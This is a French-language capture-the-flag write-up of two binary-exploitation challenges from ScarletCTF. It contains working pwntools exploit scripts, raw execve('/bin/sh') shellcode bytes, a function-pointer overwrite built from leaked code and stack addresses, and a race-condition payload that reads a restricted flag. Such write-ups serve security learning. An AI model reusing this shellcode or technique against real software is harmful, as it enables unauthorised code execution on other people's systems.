ScarletCTF_01_26


PWN

ruid_login

attachments

rand rand.c ruid_login solve.py

reverse

└─$ checksec ./ruid_login
[*] '/home/sk4r/CTF/Scarlet/pwn_ruid_log/ruid_login'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

La stack est executable, il va surement falloir y placer un shellcode

undefined8 main(void)

{
  char local_58 [72];
  
  setup_users();
  puts("Welcome to Rutgers University!");
  printf("Please enter your netID: ");
  ...
  // pas d'overflow possible
  read(0,local_58,0x40);
  ...
  printf("Accessing secure interface as netid \'%s\'\n",local_58);
  while( true ) {
    list_ruids();
    printf("Please enter your RUID: ");
    // pas de problèmes sur le scanf non plus
    __isoc23_scanf("%lu%*c",&ruid);
    printf("Logging in as RUID %lu..\n",ruid);
    for (i = 0; i < 2; i = i + 1) {
      if (*(long *)(users + (long)i * 0x30 + 0x28) == ruid) {
        printf("Welcome, %s!\n",users + (long)i * 0x30);
        (**(code **)(users + (long)i * 0x30 + 0x20))();
      }
    }

Le programme commence par nous demander un netID qui a l’air de ne servir absolument à rien, nous allons mettre notre shellcode ici.

from pwn import *

io = process("./ruid_login")

shellcode = b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x54\x5f\x31\xc0\x50\xb0\x3b\x54\x5a\x54\x5e\x0f\x05"
io.sendlineafter(b"your netID", shellcode)

Suite à quoi on peut se ‘connnecter’ en tant qu’un utilisateur si on connait son RUID, et le programme executera la fonction associée à cet utilisateur.

Ces utilisateurs sont initialisés dans la fonction ‘setup_users’ :

void setup_users(void)

{
  char *local_38 [2];
  code *local_28 [3];

  local_38[0] = "Professor";
  local_38[1] = "Dean";
  local_28[0] = prof;
  local_28[1] = dean;
  for (i = 0; i < 2; i = i + 1) {
    strcpy(users + (long)i * 0x30,local_38[i]);
    ruid = rand();
    *(long *)(users + (long)i * 0x30 + 0x28) = (long)ruid;
    *(code **)(users + (long)i * 0x30 + 0x20) = local_28[i];
  }
  return;
}

On voit que leur ruid est généré avec rand() sans seed, ce seront donc toujours les mêmes, calculons les à l’avance :

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
    printf("%d\n", rand());
    printf("%d\n", rand());
}
└─$ ./rand      
1804289383
846930886

On peut maintenant se connecter en tant que ‘Professor’ ou ‘Dean’ et executer leurs fonctions.

celle du prof n’est pas interessante en revanche celle de dean :

void dean(void)

{
  int iVar1;
  uint local_14;

  puts("Change a staff member\'s name!");
  list_ruids();
  iVar1 = get_number(&local_14,2);
  if (iVar1 != 0) {
    printf("New name: ");
    read(0,users + (ulong)local_14 * 0x30,0x29);
  }
}

permet de modifier le nom du prof ou de dean avec un sacré overflow, 0x29 au lieu de 0x20, voici à quoi le prof et dean ‘ressemblent’ en mémoire :

(gdb) x/20gx &users
0x561c4c9dd0e0 <users   >:	0x6f737365666f7250	0x0000000000000072
0x561c4c9dd0f0 <users+16>:	0x0000000000000000	0x0000000000000000
0x561c4c9dd100 <users+32>:	0x0000561c4c9da2f3	0x000000006b8b4567
0x561c4c9dd110 <users+48>:	0x000000006e616544	0x0000000000000000
0x561c4c9dd120 <users+64>:	0x0000000000000000	0x0000000000000000
0x561c4c9dd130 <users+80>:	0x0000561c4c9da4d2	0x00000000327b23c6

Parfait, si on change le nom du professor pour remplir le buffer jusqu’a sa fonction on peut avoir un leak du code, car le nom de l’utilisateur est écrit après.

et les structures resemblent maintenant à:

(gdb) x/20gx &users
0x55f19a6db0e0 <users   >:	0x6161616161616161	0x6161616161616161
0x55f19a6db0f0 <users+16>:	0x6161616161616161	0x6161616161616161
0x55f19a6db100 <users+32>:	0x000055f19a6d820a	0x000000006b8b4567
0x55f19a6db110 <users+48>:	0x000000006e616544	0x0000000000000000
0x55f19a6db120 <users+64>:	0x0000000000000000	0x0000000000000000
0x55f19a6db130 <users+80>:	0x000055f19a6d84d2	0x00000000327b23c6

solve

# connect as dean
io.sendlineafter(b"your RUID", b"846930886")
# change prof name
io.sendlineafter(b"Num:", b"0")
io.sendlineafter(b"New name:", b"a"*0x20)
# receive the leak
io.recvuntil(b"a"*0x20)
leak = io.recv(6)
leak = u64(b"\xf3" + leak[1:] + b"\x00"*2)

Parfait on a donc un leak du code, mais nous c’est un leak de la stack qu’on veut car c’est la qu’est notre shellcode.

depuis le leak du code on peut calculer l’adresse de puts@plt et essayer de puts quelque chose au hasard en changeant la fonction du prof:

# calcul de l'adresse de puts
puts_at_plt = leak - (0x55ac1c8742f3 - 0x55ac1c874050)
io.sendlineafter(b"your RUID", b"846930886")
io.sendlineafter(b"Num:", b"0")
io.sendlineafter(b"New name:", b"a"*0x20 + p64(puts_at_plt))
new_id = 0x000000006b8b450a

sans oublier de changer l’ID qu’on a réécrit avec notre string. On appele donc la fonction du professor avec son nouvel ID

io.sendlineafter(b"your RUID", str(new_id).encode())
io.recvuntil(b"a"*0x20)
io.recv(8)
leak_stack = u64(io.recv(6) + b"\x00"*2)
# -> leak_stack = 0x7ffed92d78e0

La chance, c’est une adresse de stack

on trouve notre shellcode qui est à l’addresse 0x7ffed92d7aa0

et on change l’adresse du professor par l’adresse de notre shellcode

shell_at = leak_stack + (0x7ffed92d7aa0 - 0x7ffed92d78e0)
io.sendlineafter(b"your RUID", b"846930886")
io.sendlineafter(b"Num:", b"0")
io.sendlineafter(b"New name:", b"a"*0x20 + p64(shell_at))

On verifie quand même

(gdb) x/20gx &users
0x55f3c7d710e0 <users>:	0x6161616161616161	0x6161616161616161
0x55f3c7d710f0 <users+16>:	0x6161616161616161	0x6161616161616161
0x55f3c7d71100 <users+32>:	0x00007ffe0f8405a0	0x000000006b8b450a
0x55f3c7d71110 <users+48>:	0x000000006e616544	0x0000000000000000
0x55f3c7d71120 <users+64>:	0x0000000000000000	0x0000000000000000
0x55f3c7d71130 <users+80>:	0x000055f3c7d6e4d2	0x00000000327b23c6
0x55f3c7d71140:	0x0000000000000000	0x0000000000000000
0x55f3c7d71150:	0x0000000000000000	0x0000000000000000
0x55f3c7d71160:	0x0000000000000000	0x0000000000000000
0x55f3c7d71170:	0x0000000000000000	0x0000000000000000
(gdb) x/10gx 0x00007ffe0f8405a0
0x7ffe0f8405a0:	0x732f6e69622fb848	0x50c0315f54500068
0x7ffe0f8405b0:	0x050f5e545a543bb0	0x000000000000000a
0x7ffe0f8405c0:	0x0000000000000000	0x0000000000000000
0x7ffe0f8405d0:	0x0000000000000000	0x0000000000000000
0x7ffe0f8405e0:	0x0000000000000000	0xbc6180e2439a8900

Parfait, il n’y a plus qu’a appeler notre shellcode

io.sendlineafter(b"your RUID", str(new_id).encode())
Welcome, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@+\x82(\xfd\x7f!
$ ls
core.100238  core.106070  core.106742  core.99580  rand.c      solve.py
core.100517  core.106553  core.30277   rand        ruid_login  wu.md

speed_journal

attachments

reverse

Tout est dans le titre,

une fonction nous permet de se connecter en admin:

void login_admin() {
    char pw[32];
    printf("Admin password: ");
    fgets(pw, sizeof(pw), stdin);

    if (strncmp(pw, "supersecret\n", 12) == 0) {
        is_admin = 1;

        pthread_t t;
        pthread_create(&t, NULL, logout_thread, NULL);
        pthread_detach(t);

        puts("[+] Admin logged in (temporarily)");
    } else {
        puts("[-] Wrong password");
    }
}

Une autre nous permet de lire un flag:

void read_log() {
    int idx;
    printf("Index: ");
    scanf("%d", &idx);
    getchar();

    if (idx < 0 || idx >= log_count) {
        puts("Invalid index");
        return;
    }

    if (logs[idx].restricted && !is_admin) {
        puts("Access denied");
        return;
    }

    printf("Log: %s\n", logs[idx].content);
}

mais le flag admin est protégé:

int main(){
    ...
    strcpy(logs[0].content, "RUSEC{xxxxxxxxxxxxxxxxxxxxx}\n");
    logs[0].restricted = 1;
    log_count = 1;
    ...
}

solve

On va donc se connecter et afficher le flag le plus vite possible, pour ça on ne va pas envoyer notre payload petit à petit comme à l’accoutumée, mais le construire d’abord et tout envoyer d’un coup:

from pwn import *

io = process("./speedjournal")
# io = remote("challs.ctf.rusec.club", 22169)

pl = b""
pl += b"0\naaa\n"
for i in range(10):
    # connection admin
    pl += b"1\nsupersecret\n"
    pl += b"1\nsupersecret\n"
    pl += b"1\nsupersecret\n"
    # écrire un log qu'on pourra lire
    pl += b"3\n1\n"
    # connection admin
    pl += b"1\nsupersecret\n"
    pl += b"1\nsupersecret\n"
    pl += b"1\nsupersecret\n"
    # lecture du flag
    pl += b"3\n0\n"
    # connection admin
    pl += b"1\nsupersecret\n"
    pl += b"1\nsupersecret\n"
    pl += b"1\nsupersecret\n"

sleep(1)
io.sendline(pl)

io.interactive()
1. Login admin
2. Write log
3. Read log
4. Exit
> Index: Log: FLAG{REDACTED}

Thx.
Sk4r.